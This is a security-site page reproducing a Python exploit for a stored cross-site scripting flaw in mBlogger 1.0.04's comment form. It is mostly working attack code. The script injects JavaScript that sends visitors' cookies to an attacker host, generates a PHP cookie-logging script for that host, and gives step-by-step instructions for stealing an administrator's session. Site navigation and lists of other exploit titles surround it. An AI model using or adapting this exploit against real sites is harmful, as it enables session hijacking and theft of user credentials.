首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
mBlogger 1.0.04 (addcomment.php) Persistent XSS Exploit
来源:research[at]ptrace-security[dot]com 作者:Gianni 发布时间:2010-09-06  

#!/usr/bin/python
#
# Exploit Title:   mBlogger v1.0.04 (addcomment.php) Persistent XSS Exploit
# Date         :   04 September 2010
# Author       :   Ptrace Security (Gianni Gnesa [gnix])
# Contact      :   research[at]ptrace-security[dot]com
# Software Link:   http://sourceforge.net/projects/mblogger/
# Version      :   1.0.04
# Tested on    :   EasyPHP 5.3.1.0 for Windows
#
#
# Description
# ===========
#
# + addcomment.php => An SQL Injection at line 32 allows to insert javascript
#                     that will be executed from the client's browser when he
#                     visits the page viewpost.php?postID=<number>.
#
# 29: $commentAuthor = $_POST['commentAuthor'];
# 30: $commentText = $_POST['commentText'];
# 31: $postID = $_GET['postID'];
# 32: $query = "INSERT INTO comments (user, comment, postid) VALUES
#     ('$commentAuthor', '$commentText', '$postID')";
# 33: if(!mysql_query($query, $connection))
# 34: {
# 35:    die("Error updating post: " . mysql_error());
# 36: }
#

import sys
import http.client
import urllib.parse


def fatal(message):
    print(message)
    exit(1)


def usage(program):
    print('Usage  : '+ program +' <victim> <mBlogger path> <attacker>\n')
    print('Example: '+ program +' localhost /mBlogger/ localhost')
    print('         '+ program +' www.victim.com /path/ www.attacker.com')
    return
   
   
def getRemotePHPCode():
    source  = '<?php\n'
    source += '$cs = explode("; ", $_GET[\'c\']);\n'
    source += '$fp = fopen(\'data.txt\',\'a\');\n'
    source += 'if(!empty($cs))\n'
    source += ' foreach($cs as $k => $v) {\n'
    source += '  if(preg_match("/^(.*?)\=(.*)$/", $v, $r))\n'
    source += '   fwrite($fp,urldecode($r[1])."=".urldecode($r[2])."\\r\\n");\n'
    source += '  else fwrite($fp, "cannot decode $v");\n'
    source += ' }\n'
    source += 'fclose($fp);\n'
    source += '?>'
    return source


def injectJavascript(victim, path, attacker):
    payload  = '<script>\nd=new Image;\nd.src=\"http://' + attacker
    payload += '/c.php?c=\"+escape(document.cookie);\n</script>\n'

    headers = {'Content-type':'application/x-www-form-urlencoded','Accept':'text/plain'}
    params  = urllib.parse.urlencode({'commentAuthor':'admin','commentText':payload,'submitcomment':'Submit'})
    con     = http.client.HTTPConnection(victim)

    con.request('POST', path + 'addcomment.php?postID=1', params, headers)
    res = con.getresponse()
    if res.status != 200:
        return False

    con.close()
    return True


def exploit(victim, path, attacker):
    print('[+] Injecting Javascript')
    success = injectJavascript(victim, path, attacker)
    if not success:
        fatal('[!] Injection failed')
       
    print('[+] Generating PHP code for malicious site\n')
    print(getRemotePHPCode() + '\n')
   
    print('[?] Instruction to use this exploit:')
    print('    1. Save the previous code in http://' + attacker + '/c.php')
    print('    2. Wait that the administrator visits ')
    print('       http://'+ victim +'/'+ path +'viewpost.php?postID=1')
    print('    3. Read stolen cookies from http://'+ attacker +'/' + 'data.txt')
    return

 

print('\n+-----------------------------------------------------------------------------+')
print('| mBlogger v1.0.04 (addcomment.php) Persistent XSS Exploit by Ptrace Security |')
print('+-----------------------------------------------------------------------------+\n')

if len(sys.argv) != 4:
   usage(sys.argv[0])
else:
   exploit(sys.argv[1],sys.argv[2], sys.argv[3])   


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Movie Maker Remote Code Execut
·VLC Media Player < 1.1.4 (.xsp
·FFDshow SEH Exception leading
·A-Blog v2.0 (sources/search.ph
·Intel Video Codecs v5 Remote D
·Microsoft MPEG Layer-3 Remote
·Trend Micro Internet Security
·FCrackZip 1.0 Local Buffer Ove
·Linux/ARM - execve("/bin/sh",
·BlueCMS getip()注射漏洞
·Virtual DJ Trial v6.1.2 SEH Bu
·vBulletin 4.0.6 - Danial Of Se
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved